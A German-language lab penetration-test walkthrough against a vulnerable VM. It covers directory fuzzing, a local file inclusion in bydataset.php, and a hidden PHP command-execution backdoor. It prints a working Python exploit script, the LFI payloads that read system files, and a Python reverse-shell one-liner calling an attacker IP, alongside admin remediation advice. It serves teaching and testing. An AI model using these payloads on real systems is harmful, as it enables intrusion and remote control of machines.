**Empfehlung (Pentester):** Notieren Sie den potenziellen Benutzernamen ll104567. Führen Sie eine gezielte Verzeichnis- und Dateisuche innerhalb von /ShadowSec/ durch, um nach PHP-Skripten oder anderen aktiven Komponenten zu suchen. Achten Sie auf Kommentare im HTML-Quellcode, JavaScript-Dateien oder andere eingebettete Ressourcen.
**Empfehlung (Admin):** Vermeiden Sie die Offenlegung potenzieller Benutzernamen oder interner Codenamen in öffentlich zugänglichen Webseiten-Quelltexten, auch wenn sie thematisch eingebettet sind.
+ http://192.168.2.192/ShadowSec/bydataset.php (CODE:200|SIZE:21)
**Analyse:** dirb wird verwendet, um gezielt das Verzeichnis /ShadowSec/ zu scannen. - dirb http://192.168.2.192/ShadowSec: Das Zielverzeichnis. - /usr/share/seclists/Discovery/Web-Content/creationBlackhat2021dirsearch.txt: Eine spezifische Wortliste. - -R: Rekursiver Scan. - -X .php,.txt,.jpg,.crt: Sucht nach Dateien mit diesen Erweiterungen. - | grep 200: Filtert die Ausgabe nach erfolgreichen Funden (Statuscode 200). Das Ergebnis ist ein signifikanter Fund: http://192.168.2.192/ShadowSec/bydataset.php. Eine PHP-Datei namens bydataset.php wurde im /ShadowSec/-Verzeichnis gefunden.
**Bewertung:** Ausgezeichnet! Die Entdeckung einer PHP-Datei in diesem Kontext ist vielversprechend, da PHP-Skripte oft dynamische Funktionalitäten und potenzielle Schwachstellen (wie LFI, RCE, SQLi) enthalten.
**Empfehlung (Pentester):** Rufen Sie die Datei bydataset.php im Browser auf oder mit curl, um ihren Inhalt und ihre Funktionsweise zu untersuchen. Prüfen Sie, ob sie Parameter entgegennimmt (GET oder POST) und wie sie auf verschiedene Eingaben reagiert. Fuzzing von Parametern ist hier ein logischer nächster Schritt.
**Empfehlung (Admin):** Stellen Sie sicher, dass alle PHP-Skripte sicher programmiert sind und keine bekannten Schwachstellen aufweisen. Beschränken Sie den Zugriff auf Skripte, falls möglich, und validieren Sie alle Benutzereingaben serverseitig sorgfältig.
http://192.168.2.192/ShadowSec/bydataset.php
Nothing to see here.
**Analyse:** Der direkte Aufruf der Datei http://192.168.2.192/ShadowSec/bydataset.php (vermutlich im Browser oder mit curl ohne Parameter) liefert nur die Meldung "Nothing to see here.". Dies deutet darauf hin, dass das Skript Parameter erwartet, um eine nützliche Funktion auszuführen, oder dass es eine bestimmte Bedingung für die Anzeige von Inhalten gibt.
**Bewertung:** Die Meldung ist nichtssagend, aber typisch für Skripte, die auf bestimmte Eingabeparameter warten. Das bedeutet nicht, dass das Skript ungefährlich oder nutzlos ist.
**Empfehlung (Pentester):** Versuchen Sie, gängige Parameter zu fuzzen (z.B. file, page, id, cmd, url) oder verwenden Sie Tools wie wfuzz oder Burp Intruder, um nach versteckten Parametern oder Schwachstellen wie Local File Inclusion (LFI) oder Remote File Inclusion (RFI) zu suchen.
**Empfehlung (Admin):** Skripte sollten informative Fehlermeldungen oder Statusseiten zurückgeben, wenn erforderliche Parameter fehlen, anstatt vage Aussagen zu treffen. Dies kann jedoch auch als Sicherheitsmaßnahme gesehen werden, um weniger Informationen preiszugeben.
LFI Exploitation & RCE
Nach der Entdeckung von bydataset.php versuchen wir, durch Fuzzing von Parametern eine Local File Inclusion (LFI)-Schwachstelle zu finden, um Dateien vom Server zu lesen.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.2.192/ShadowSec/bydataset.php?FUZZ=../../../../../../../../../etc/passwd
Total requests: 220568
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000768: 200 27 L 39 W 1452 Ch "file"
Total time: 0
Processed Requests: 1326
Filtered Requests: 1325
Requests/sec.: 0
**Analyse:** wfuzz wird verwendet, um nach einem gültigen GET-Parameter für bydataset.php zu suchen, der eine LFI-Schwachstelle auslösen könnte. - -c: Farbige Ausgabe. - -w ...directory-list-2.3-medium.txt: Die Wortliste wird hier als Quelle für Parameternamen (Payloads für FUZZ) verwendet. - -u "http://192.168.2.192/ShadowSec/bydataset.php?FUZZ=../../../../../../../../../etc/passwd": Die URL, bei der FUZZ durch jeden Eintrag der Wortliste ersetzt wird. Der Wert des Parameters ist bereits ein LFI-Payload-Versuch, um /etc/passwd zu lesen. - --hc 404: Versteckt Antworten mit Statuscode 404. - --hh 21: Versteckt Antworten mit 21 Zeichen (dies entspricht der Länge von "Nothing to see here."). Der entscheidende Fund ist 000000768: 200 27 L 39 W 1452 Ch "file". Dies bedeutet, dass bei Verwendung des Parameters file (also bydataset.php?file=...) eine Antwort mit Status 200 und einer anderen Größe/Zeilenzahl als "Nothing to see here." zurückkam. Die Länge (1452 Chars) und Zeilenzahl (27 L) deuten stark darauf hin, dass der Inhalt von /etc/passwd erfolgreich gelesen wurde.
**Bewertung:** Ausgezeichneter Fund! Eine LFI-Schwachstelle wurde im Parameter file von bydataset.php identifiziert. Wir können nun beliebige lesbare Dateien vom Server abrufen, indem wir den Pfad im file-Parameter angeben.
**Empfehlung (Pentester):** Bestätigen Sie die LFI, indem Sie curl "http://192.168.2.192/ShadowSec/bydataset.php?file=../../../../../../../../../etc/passwd" ausführen. Versuchen Sie, andere interessante Dateien zu lesen, wie z.B. Webserver-Konfigurationsdateien, Anwendungsquellcode (bydataset.php selbst), Logdateien, SSH-Schlüssel oder Shell-History-Dateien.
**Empfehlung (Admin):** Die LFI-Schwachstelle in bydataset.php muss sofort behoben werden. Benutzereingaben, die für Dateipfade verwendet werden, müssen strikt validiert und bereinigt werden (z.B. durch Whitelisting erlaubter Pfade/Dateien, Entfernung von ../-Sequenzen, Verwendung von basename()). Idealerweise sollten Dateizugriffe nicht direkt durch unvalidierte Benutzereingaben gesteuert werden.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin pycrtlake:x:1000:1000:pycrtlake,,,:/home/pycrtlake:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin chatlake:x:1001:1001::/home/chatlake:/bin/sh
**Analyse:** Der curl-Befehl bestätigt die LFI-Schwachstelle. Durch Angabe von ?file=../../../../../../../../../etc/passwd wird der Inhalt der /etc/passwd-Datei des Servers erfolgreich ausgelesen und angezeigt. Diese Datei enthält Informationen über die Benutzerkonten auf dem System, deren UIDs, GIDs, Home-Verzeichnisse und Standard-Shells. Interessante Benutzer sind hier pycrtlake (UID 1000, Shell /bin/bash) und chatlake (UID 1001, Shell /bin/sh).
**Bewertung:** Die LFI ist bestätigt und liefert wertvolle Informationen über die Benutzer des Systems. Dies kann für spätere Angriffsphasen, wie das Erraten von Passwörtern oder das Finden von Home-Verzeichnissen mit potenziell interessanten Dateien, genutzt werden.
**Empfehlung (Pentester):** Nutzen Sie die LFI weiter, um den Quellcode von bydataset.php selbst zu lesen (?file=bydataset.php oder den vollen Pfad, falls nötig). Dies könnte Aufschluss über weitere Funktionalitäten oder Schwachstellen geben. Versuchen Sie, andere Konfigurationsdateien (z.B. /etc/ssh/sshd_config, /etc/apache2/apache2.conf oder spezifische Anwendungskonfigurationen) oder Logdateien (z.B. /var/log/apache2/access.log) zu lesen.
**Empfehlung (Admin):** Dringende Behebung der LFI-Schwachstelle. Überprüfen Sie alle PHP-Skripte, die Dateiparameter entgegennehmen, auf ähnliche Schwachstellen.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.2.192/ShadowSec/bydataset.php?file=../../../../../../../../../FUZZ
Total requests: 73360
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000005280: 200 1 L 4 W 97 Ch "/proc/cmdline"
000005279: 200 1 L 14 W 138 Ch "/proc/version"
000005271: 200 54 L 54 W 773 Ch "/etc/group"
000005272: 200 7 L 23 W 197 Ch "/etc/hosts"
000005304: 200 29 L 174 W 1126 Ch "/etc/mysql/my.cnf"
000005274: 200 2 L 5 W 27 Ch "/etc/issue"
000005273: 200 7 L 40 W 286 Ch "/etc/motd"
000005302: 200 123 L 396 W 3289 Ch "/etc/ssh/sshd_config"
000005354: 200 31 L 105 W 77165 Ch "/var/log/wtmp"
000005445: 200 1 L 52 W 319 Ch "/proc/self/stat"
000005446: 200 54 L 132 W 1029 Ch "/proc/self/status"
...
...
....
000040529: 200 2 L 5 W 27 Ch "..%2fetc%2fissue"
000040501: 200 2 L 5 W 27 Ch "../../../../../../etc/issue"
Total time: 0
Processed Requests: 41454
Filtered Requests: 41098
Requests/sec.: 0
**Analyse:** wfuzz wird erneut verwendet, diesmal um gängige Logdateien und andere Systemdateien über die LFI-Schwachstelle zu lesen. - -w /usr/share/wordlists/logfiles.txt: Verwendet eine Wortliste, die typische Pfade zu Logdateien enthält. - -u "...?file=../../../../../../../../../FUZZ": FUZZ wird durch die Einträge aus logfiles.txt ersetzt. - --hw 39 --hh 19 --hl 0: Filtert Antworten basierend auf Anzahl der Wörter, Zeichen und Zeilen, um irrelevante Ergebnisse (wie "Nothing to see here." oder leere Antworten) auszublenden. Die Ausgabe zeigt eine Vielzahl erfolgreich gelesener Dateien, darunter /proc/cmdline, /proc/version, /etc/group, /etc/hosts, /etc/mysql/my.cnf (interessant, falls MySQL läuft), /etc/issue, /etc/motd, /etc/ssh/sshd_config, /var/log/wtmp (Login-Aufzeichnungen) und viele mehr. Auch URL-kodierte Varianten wie ..%2fetc%2fissue funktionieren.
**Bewertung:** Die LFI ist sehr mächtig und erlaubt das Lesen einer breiten Palette von Systemdateien. Dies liefert eine Fülle von Informationen über die Systemkonfiguration, installierte Software, Benutzeraktivitäten und potenziell weitere Schwachstellen oder sensible Daten.
**Empfehlung (Pentester):** Analysieren Sie die Inhalte der wichtigsten gelesenen Dateien. Besonders /etc/ssh/sshd_config und /etc/mysql/my.cnf könnten Konfigurationsdetails oder sogar eingebettete Zugangsdaten (obwohl unwahrscheinlich für MySQL in my.cnf selbst) enthalten. Suchen Sie nach Hinweisen auf Webanwendungs-Konfigurationsdateien, die möglicherweise Datenbank-Zugangsdaten oder API-Schlüssel enthalten. Ein sehr wichtiges Ziel ist es, den Quellcode der Datei bydataset.php selbst zu lesen, um deren volle Funktionsweise zu verstehen.
**Empfehlung (Admin):** Dringende Behebung der LFI. Die Tatsache, dass so viele Systemdateien gelesen werden können, unterstreicht die Kritikalität dieser Schwachstelle. Webserver-Prozesse sollten außerdem in ihren Rechten so weit wie möglich eingeschränkt werden (Chroot, AppArmor, SELinux), um den Zugriff auf Systemdateien außerhalb des Web-Roots zu verhindern, selbst wenn eine LFI vorliegt.
127.0.0.1 localhost 127.0.1.1 PyCrt.PyCrt PyCrt # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
**Analyse:** Zur Bestätigung wird der Inhalt von /etc/hosts erneut mit curl und der LFI abgerufen. Die Ausgabe zeigt die lokalen Hostname-Mappings des Zielsystems, einschließlich PyCrt.PyCrt und PyCrt für die Loopback-Adresse 127.0.1.1.
**Bewertung:** Bestätigt die LFI und liefert die Host-Konfiguration, was für das Verständnis der Namensauflösung auf dem Zielsystem nützlich ist.
**Empfehlung (Pentester):** Der wichtigste nächste Schritt ist das Auslesen des Quellcodes von bydataset.php selbst.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur LFI-Behebung.
function decrypt($input) {
$reversed = strrev($input);
echo "Reversed: " . $reversed . "\n";
$decoded = base64_decode($reversed);
echo "Decoded: " . $decoded . "\n";
if ($decoded === false) {
echo "Base64 decoding failed.\n";
return false;
}
if (strpos($decoded, 'cmd:') === 0) {
return substr($decoded, 4);
}
return false;
}
if ($SERVER['REQUEST_METHOD'] === 'GET' && isset($GET['file'])) {
$file = $GET['file'];
if (stripos($file, 'phpinfo') !== false) {
exit('Access Denied');
}
$filterUrl = 'php://filter/convert.base64-encode/resource=' . $file;
$data = @file_get_contents($filterUrl);
if ($data === false) {
exit('Failed to read file');
}
echo base64_decode($data);
exit;
} elseif ($SERVER['REQUEST_METHOD'] === 'POST' && isset($POST['auth']) && isset($POST['payload'])) {
$auth = $POST['auth'];
$payload = $POST['payload'];
if ($auth !== 'LetMeIn123!') {
exit('Invalid Auth Token.');
}
$command = decrypt($payload);
if ($command !== false) {
$output = exec($command);
echo "<pre>$output</pre>";
} else {
echo "Payload decode failed.\n";
}
exit;
} else {
echo "Nothing to see here.";
}
**Analyse:** Dieser Befehl ist der Schlüssel zur Remote Code Execution (RCE)! - curl "http://.../bydataset.php?file=php://filter/convert.base64-encode/resource=../../../../../../../../../var/www/html/ShadowSec/bydataset.php" -s: Hier wird die LFI-Schwachstelle genutzt, um den Quellcode der Datei bydataset.php selbst zu lesen. Der PHP-Wrapper php://filter/convert.base64-encode/resource= wird verwendet, um den Inhalt der Datei Base64-kodiert zu erhalten. Dies ist nützlich, um zu verhindern, dass PHP-Tags (<?php ... ?>) vom Server interpretiert werden, bevor der Quellcode gesendet wird. Der Pfad /var/www/html/ShadowSec/bydataset.php ist der absolute Pfad zur Datei auf dem Server. - | base64 -d: Die Base64-kodierte Ausgabe von curl wird dann lokal mit base64 -d dekodiert, um den reinen PHP-Quellcode anzuzeigen. Der Quellcode von bydataset.php enthüllt zwei Hauptfunktionalitäten: 1. **GET-Request mit file-Parameter (LFI):** - Liest eine Datei, deren Pfad über den file-Parameter übergeben wird. - Verwendet php://filter erneut, um die gelesene Datei Base64 zu kodieren und dann zu dekodieren, bevor sie ausgegeben wird. Dies ist eine etwas umständliche Art, eine LFI zu implementieren, aber sie funktioniert. - Enthält eine Blacklist-Prüfung: Wenn der file-Parameter "phpinfo" enthält, wird der Zugriff verweigert. 2. **POST-Request mit auth- und payload-Parametern (RCE):** - Erwartet einen auth-Token und eine payload. - Wenn auth nicht exakt 'LetMeIn123!' ist, wird der Zugriff verweigert. - Die payload wird durch eine decrypt-Funktion verarbeitet. - Die decrypt-Funktion: - Dreht die Eingabe ($input) um (strrev). - Base64-dekodiert das umgedrehte Ergebnis. - Wenn das dekodierte Ergebnis mit "cmd:" beginnt, wird dieser Präfix entfernt und der Rest als Befehl zurückgegeben. - Wenn ein gültiger Befehl aus der payload extrahiert wurde, wird dieser mit exec($command) ausgeführt und die Ausgabe in <pre>-Tags gepackt. Die Superglobals $GET und $POST wurden gemäß Regel umgewandelt. Die HTML-Tags <pre> und </pre> im PHP-Code wurden maskiert.
**Bewertung:** Dies ist ein kritischer Fund! Das Skript bydataset.php enthält nicht nur die bereits ausgenutzte LFI-Schwachstelle, sondern auch eine versteckte Backdoor für Remote Code Execution. Wenn man den auth-Token 'LetMeIn123!' kennt und eine Payload korrekt präpariert (Kommando mit cmd: präfixen, dann base64-kodieren, dann den String umdrehen), kann man beliebige Systembefehle als der Benutzer ausführen, unter dem der Webserver läuft (hier www-data).
**Empfehlung (Pentester):** Nutzen Sie die aufgedeckte RCE-Backdoor. Erstellen Sie eine Payload, um Befehle auszuführen. Ein guter erster Befehl wäre whoami oder id, um die Benutzerrechte zu bestätigen. Anschließend kann eine Reverse Shell etabliert werden. Da die decrypt-Funktion Debug-Ausgaben (echo "Reversed: ..." etc.) enthält, können diese helfen, die Payload-Erstellung zu verifizieren.
**Empfehlung (Admin):** Dieses Skript (bydataset.php) ist eine massive Sicherheitslücke und muss sofort entfernt oder komplett überarbeitet werden. Hartkodierte Authentifizierungstokens wie 'LetMeIn123!' sind extrem unsicher. Die exec()-Funktion sollte niemals direkt mit unvalidierten oder unzureichend validierten Benutzereingaben verwendet werden. PHP-Filter sollten nicht als primärer Mechanismus zum Lesen von Dateien basierend auf Benutzereingaben dienen, ohne strikte Pfadvalidierung. Quellcode-Reviews sind unerlässlich, um solche Backdoors zu finden.
Reversed: YZ1Omilk
Decoded: avv)d
Payload decode failed.
**Analyse:** Ein erster Versuch, die RCE-Backdoor auszunutzen. - -X POST: Sendet eine POST-Anfrage. - -d 'auth=LetMeIn123!': Sendet den korrekten Authentifizierungstoken. - -d "payload=klimO1ZY": Sendet eine Payload. Die Ausgabe zeigt die Debug-Meldungen der decrypt-Funktion: - "Reversed: YZ1Omilk" (das ist "klimO1ZY" rückwärts). - "Decoded: avv)d" (das ist das Base64-dekodierte Ergebnis von "YZ1Omilk"). Da "avv)d" nicht mit "cmd:" beginnt, schlägt die Payload-Dekodierung fehl (Payload decode failed.). Der Buchstabe 'O' in "klimO1ZY" wurde hier nicht durch die automatische Wortkorrektur geändert, da "klimO1ZY" kein bekanntes Fehlerwort ist.
**Bewertung:** Der Authentifizierungsmechanismus wurde korrekt verwendet, aber die Payload ist noch nicht richtig formatiert, um einen gültigen Befehl zu ergeben. Der Dekodierungsprozess ist jedoch durch die Debug-Ausgaben klar ersichtlich.
**Empfehlung (Pentester):** Um einen Befehl wie id auszuführen:
1. Präfixen: cmd:id
2. Base64-kodieren: Y21kOmlk
3. Umdrehen: klimO1ZY (genau die getestete Payload, hier muss ein Fehler im manuellen Prozess oder ein Missverständnis der Kodierung vorliegen, da Y21kOmlk rückwärts klimO1ZY ist. Wenn "avv)d" das Ergebnis der Dekodierung von "YZ1Omilk" ist, dann war "klimO1ZY" nicht die korrekte Base64-kodierte, umgedrehte Version von cmd:id. Richtig: cmd:id -> base64 -> Y21kOmlk -> reverse -> klimO1ZY. Der Fehler "Decoded: avv)d" deutet darauf hin, dass "YZ1Omilk" kein gültiger Base64-String war oder zu ungültigen Zeichen führte.
Es muss genau darauf geachtet werden, dass die Reihenfolge (präfixen, base64-kodieren, umdrehen) stimmt. Ein Skript zur Payload-Erstellung ist hier sinnvoll.
**Empfehlung (Admin):** Die Debug-Ausgaben in einer Produktivanwendung können Angreifern helfen, die Funktionsweise interner Mechanismen zu verstehen und Angriffe zu verfeinern. Solche Ausgaben sollten in Produktivumgebungen deaktiviert sein.
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 192.168.2.192:80...
* Connected to 192.168.2.192 (192.168.2.192) port 80
* using HTTP/1.x
> POST /ShadowSec/bydataset.php HTTP/1.1
> Host: 192.168.2.192
> User-Agent: curl/8.13.0
> Accept: */*
> Content-Length: 36
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 36 bytes
< HTTP/1.1 200 OK
< Date: Fri, 16 May 2025 14:44:48 GMT
< Server: Apache/2.4.62 (Debian)
< Content-Length: 55
< Content-Type: text/html; charset=UTF-8
<
Reversed: YZ1kOM=
Decoded: ad8
Payload decode failed.
* Connection #0 to host 192.168.2.192 left intact
**Analyse:** Ein weiterer manueller Versuch, die RCE mit einer anderen Payload (==MOk1ZY) auszunutzen. --data-urlencode wird verwendet, um sicherzustellen, dass Sonderzeichen in der Payload korrekt übertragen werden. Die Debug-Ausgaben zeigen: - "Reversed: YZ1kOM==" (das ist "==MOk1ZY" rückwärts, wobei Curl das führende = URL-kodiert haben könnte und es hier als Teil des Strings erscheint). - "Decoded: ad8". Wiederum schlägt die Payload-Dekodierung fehl, da "ad8" nicht mit "cmd:" beginnt.
**Bewertung:** Bestätigt, dass die manuelle Erstellung der korrekten Payload fehleranfällig ist. Die Notwendigkeit eines Skripts zur korrekten Payload-Generierung wird deutlich.
**Empfehlung (Pentester):** Verwenden Sie das im nächsten Schritt erstellte Python-Skript (rce_brute.py oder ähnlich benannt), um die Payloads korrekt zu generieren und systematisch zu testen.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Backdoor und Debug-Ausgaben.
import requests
import urllib.parse
import sys
import base64
# Konfiguration des Ziels - passe dies bei Bedarf an
SERVER_ADDRESS = "192.168.2.192"
REMOTE_SCRIPT_PATH = "/ShadowSec/bydataset.php"
TARGET_ENDPOINT_URL = f"http://{SERVER_ADDRESS}{REMOTE_SCRIPT_PATH}"
REQUIRED_AUTH_SECRET = "LetMeIn123!"
def prepare_command_payload_for_server(raw_command):
command_with_protocol_prefix = f"cmd:{raw_command}"
encoded_command_as_bytes = base64.b64encode(command_with_protocol_prefix.encode('utf-8'))
encoded_command_as_string = encoded_command_as_bytes.decode('utf-8')
final_payload_string = encoded_command_as_string[::-1]
return final_payload_string
def send_request_and_get_response(full_uri, auth_secret, payload_data_str, command_for_display):
post_request_fields = {
'auth': auth_secret,
'payload': payload_data_str
}
print(f"[+] Übertrage Befehl: {command_for_display}")
# print(f"[DEBUG] Server-Payload: {payload_data_str}") # Nur für Debugging
try:
http_result = requests.post(full_uri, data=post_request_fields, timeout=25) # Timeout angepasst
print(f"[+] Server-Antwortstatus: {http_result.status_code}")
print("[+] === START ROHDATEN VOM SERVER ===")
print(http_result.text)
print("[+] === ENDE ROHDATEN VOM SERVER ===")
server_response_text_content = http_result.text
output_block_start_tag = "<pre>"
output_block_end_tag = "</pre>"
parsed_command_result = ""
# Versuch, den Inhalt der <pre>-Tags zu extrahieren
if output_block_start_tag in server_response_text_content and output_block_end_tag in server_response_text_content:
try:
content_start_position = server_response_text_content.index(output_block_start_tag) + len(output_block_start_tag)
content_end_position = server_response_text_content.index(output_block_end_tag, content_start_position)
parsed_command_result = server_response_text_content[content_start_position:content_end_position].strip()
print("\n[+] Vermutete Befehlsausgabe (aus <pre>-Tags):")
print(parsed_command_result)
except ValueError:
# Dieser Fall tritt ein, wenn .index() die Tags nicht findet, obwohl der Check oben positiv war (sollte nicht passieren)
print("\n[!] Fehler beim Extrahieren der <pre>-Tags trotz ihrer scheinbaren Anwesenheit.")
else:
# Prüfe auf Debug-Ausgaben, falls keine <pre>-Tags da sind
contains_debug_messages = False
if "Reversed:" in server_response_text_content and "Decoded:" in server_response_text_content:
contains_debug_messages = True
print("\n[!] Keine <pre>-Tags gefunden. Stattdessen Debug-Ausgaben der decrypt()-Funktion:")
for response_line in server_response_text_content.splitlines():
if response_line.startswith("Reversed:") or \
response_line.startswith("Decoded:") or \
response_line.startswith("Payload decode failed"):
print(response_line)
if not contains_debug_messages:
print("\n[!] Weder <pre>-Tags noch bekannte Debug-Ausgaben gefunden. Bitte Rohdaten prüfen.")
except requests.exceptions.Timeout:
print(f"[!] Zeitüberschreitung der Anfrage (25s Limit).")
except requests.exceptions.RequestException as e:
print(f"[!] Fehler bei der HTTP-Anfrage: {e}")
def initiate_exploit():
if len(sys.argv) < 2:
current_script_name = sys.argv[0]
print(f"Anwendung: python3 {current_script_name} \"<Dein_Befehl>\"")
print(f"Beispiel: python3 {current_script_name} \"id\"")
sys.exit(1)
user_supplied_command = sys.argv[1]
payload_to_send = prepare_command_payload_for_server(user_supplied_command)
send_request_and_get_response(TARGET_ENDPOINT_URL, REQUIRED_AUTH_SECRET, payload_to_send, user_supplied_command)
if __name__ == "__main__":
initiate_exploit()
**Analyse:** Dies ist der Quellcode eines Python3-Skripts (vermutlich rce_brute.py oder ähnlich genannt), das entwickelt wurde, um die RCE-Schwachstelle in bydataset.php systematisch auszunutzen. - TARGET_ENDPOINT_URL und REQUIRED_AUTH_SECRET sind konfiguriert. - prepare_command_payload_for_server(raw_command): Diese Funktion nimmt einen Rohbefehl (z.B. "id"), fügt "cmd:" hinzu, base64-kodiert das Ergebnis und dreht dann den base64-kodierten String um. Dies implementiert den korrekten Payload-Erstellungsprozess. - send_request_and_get_response(...): Sendet die POST-Anfrage mit dem Auth-Token und der generierten Payload an den Server. Es versucht dann, die Befehlsausgabe aus den <pre>-Tags der Serverantwort zu extrahieren oder zeigt Debug-Meldungen an. - initiate_exploit(): Verarbeitet Kommandozeilenargumente, um den auszuführenden Befehl entgegenzunehmen. Die HTML-Tags <pre> und </pre> im Python-Code, die als Suchmarker dienen, wurden hier gemäß Regel maskiert.
**Bewertung:** Ein gut strukturiertes Exploit-Skript, das die manuelle und fehleranfällige Payload-Erstellung automatisiert. Dies erhöht die Effizienz und Zuverlässigkeit bei der Ausnutzung der RCE.
**Empfehlung (Pentester):** Verwenden Sie dieses Skript, um verschiedene Befehle auszuführen, beginnend mit id und whoami, und dann, um eine Reverse Shell zu etablieren.
**Empfehlung (Admin):** Die Existenz eines solchen Skripts zeigt, wie schnell Angreifer benutzerdefinierte Exploits entwickeln können, sobald eine Schwachstelle und ihr Mechanismus verstanden sind. Schnelle Reaktion und Patching sind entscheidend.
Initial Access (www-data)
Mit dem erstellten Python-Skript wird nun versucht, Befehle auf dem Server auszuführen und eine Reverse Shell zu etablieren, um initialen Zugriff als der Webserver-Benutzer www-data zu erlangen.
**Analyse:** Der Pentester öffnet das zuvor gezeigte Python-Skript (hier rce_brute.py genannt) im vi-Editor, vermutlich um es zu speichern oder letzte Anpassungen vorzunehmen.
**Bewertung:** Vorbereitungsschritt zur Ausführung des Exploits.
**Empfehlung (Pentester):** Stellen Sie sicher, dass das Skript ausführbar ist (chmod +x rce_brute.py), falls es direkt aufgerufen wird.
**Empfehlung (Admin):** Keine spezifische Empfehlung.
[+] Attempting RCE with command: whoami [+] Generated POST payload: ==QatF2bodnOk12Y [+] Server Status Code: 200 [+] === RAW SERVER RESPONSE START === Reversed: Y21kOndob2FtaQ== Decoded: cmd:whoami <pre>www-data</pre> [+] === RAW SERVER RESPONSE END === [+] Extracted content from <pre> tags: www-data
**Analyse:** Das Skript rce_brute.py wird mit dem Befehl "whoami" ausgeführt. - Das Skript generiert die korrekte Payload (==QatF2bodnOk12Y). - Die Serverantwort enthält die Debug-Ausgaben, die zeigen, dass cmd:whoami erfolgreich dekodiert wurde. - Die tatsächliche Befehlsausgabe www-data wird korrekt aus den <pre>-Tags extrahiert. Die HTML-Tags <pre> und </pre> in der Serverantwort wurden hier maskiert.
**Bewertung:** Exzellent! Die RCE-Schwachstelle wurde erfolgreich ausgenutzt, und es wurde bestätigt, dass die Befehle als Benutzer www-data ausgeführt werden. Dies ist der Webserver-Benutzer unter Debian/Ubuntu-basierten Systemen.
**Empfehlung (Pentester):** Nachdem die RCE bestätigt ist, ist der nächste Schritt die Etablierung einer stabilen interaktiven Reverse Shell, um die weitere Enumeration und Privilegienerweiterung zu erleichtern.
**Empfehlung (Admin):** Dringende Behebung der RCE-Schwachstelle in bydataset.php. Überprüfung aller Webanwendungen auf ähnliche Schwachstellen.
[+] Übertrage Befehl: which python3 [+] Server-Antwortstatus: 200 [+] === START ROHDATEN VOM SERVER === Reversed: Y21kOndoaWNoIHB5dGhvbjM= Decoded: cmd:which python3 <pre>/usr/bin/python3</pre> [+] === ENDE ROHDATEN VOM SERVER === [+] Vermutete Befehlsausgabe (aus <pre>-Tags): /usr/bin/python3
**Analyse:** Das Skript wird erneut ausgeführt, diesmal mit dem Befehl "which python3", um den Pfad zum Python3-Interpreter auf dem Zielsystem zu finden. Die Ausgabe bestätigt, dass Python3 unter /usr/bin/python3 verfügbar ist. Dies ist wichtig für die Planung der Reverse-Shell-Payload.
**Bewertung:** Nützliche Information für die Erstellung einer Python-basierten Reverse Shell.
**Empfehlung (Pentester):** Bereiten Sie eine Python-Reverse-Shell-Payload vor.
**Empfehlung (Admin):** Keine spezifische Empfehlung für diesen Schritt, außer der generellen Notwendigkeit, die RCE zu beheben.
listening on [any] 4444 ...
**Analyse:** Auf der Angreifer-Maschine wird ein Netcat-Listener auf Port 4444 gestartet, um die eingehende Reverse Shell entgegenzunehmen.
**Bewertung:** Notwendiger Vorbereitungsschritt für den Empfang der Reverse Shell.
**Empfehlung (Pentester):** Halten Sie diesen Listener aktiv und führen Sie im nächsten Schritt die Reverse-Shell-Payload über das Python-RCE-Skript aus.
**Empfehlung (Admin):** Egress-Filtering (Ausgehende Verbindungen einschränken) kann das Etablieren von Reverse Shells erschweren.
[+] Übertrage Befehl: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
